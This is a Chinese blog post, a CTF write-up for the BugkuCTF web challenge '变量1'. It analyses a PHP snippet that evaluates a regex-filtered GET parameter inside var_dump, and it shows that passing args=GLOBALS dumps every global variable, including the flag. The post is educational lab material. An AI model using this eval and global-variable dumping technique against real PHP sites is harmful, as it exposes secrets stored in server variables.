

BugkuCTF-Web-变量1

原创

烟雨天青色 于 2018-12-19 19:57:32 发布 1898 收藏 7

分类专栏: [CTF](#) 文章标签: [BugkuCTF](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_38603541/article/details/85106740

版权



[CTF 专栏收录该内容](#)

29 篇文章 1 订阅

订阅专栏

Challenge 3729 Solves ×

变量1

60

<http://123.206.87.240:8004/index1.php>

https://blog.csdn.net/qq_38603541

打开解题链接发现是一段PHP代码, 虽然还没正儿八经学PHP, 但是, 一顿乱分析之后还是能发现一点问题的, 哈哈哈哈哈

flag In the variable ! <?php

```
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])) {
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/", $args)) {
        die("args error!");
    }
    eval("var_dump($args);");
}
?>
```

https://blog.csdn.net/qq_38603541

接下来我们来分析一下源码：

```
flag In the variable ! <?php

error_reporting(0);           // 关闭php错误显示
include "flag1.php";         // 引入flag1.php文件代码
highlight_file(__file__);
if(isset($_GET['args'])) {    // 通过get方式传递 args变量才能执行if里面的代码
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/", $args)) {
        // 这个正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符，就是任意大小写字母和0到9以及下划线组成
        die("args error!");
    }
    eval("var_dump($args);");// 这边告诉我们这题是代码审计的题目
}
?>
```

根据最后一句代码：var_dump（）可知，这是代码审计。。于是。。。于是。。。我想起了PHP里面的一个超级全局变量GLOBALS。

提示说flag在变量里面，经分析只要运行 eval("var_dump(\$\$args);");, falg很有可能就会出来

\$\$args====>我们可以猜想\$args很有可能是一个数组，应该想到的就是超全局变量\$GLOBALS

他是用存储全局变量的，全局变量的值在这个超级全局变量里面是一个键值，先当于hashmap的键值对
全局变量可以通过变量名在\$GLOBALS找到相对应的值。

eval()这个函数的作用是字符串里面的php代码按正常的php代码被执行

通过构造一个GET参数，直接传GET一个全局变量即可

http://123.206.87.240:8004/index1.php?args=GLOBALS

flag In the variable ! <?php

```
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/", $args)){
        die("args error!");
    }
    eval("var_dump($args);");
}
?>
```

```
array(7) { ["GLOBALS"]=> *RECURSION* ["_POST"]=> array(0) {} ["_GET"]=> array(1) {
["args"]=> string(7) "GLOBALS" ["_COOKIE"]=> array(0) {} ["_FILES"]=> array(0) {}
["ZFkwe3"]=> string(38) "flag{92853051ab894a64f7865cf3c2128b34}" ["args"]=>
string(7) "GLOBALS" }
```

https://blog.csdn.net/qq_38603541

构造之后，直接在浏览器中运行，网页爆出了flag。



[创作打卡挑战赛](#)
[赢取流量/现金/CSDN周边激励大奖](#)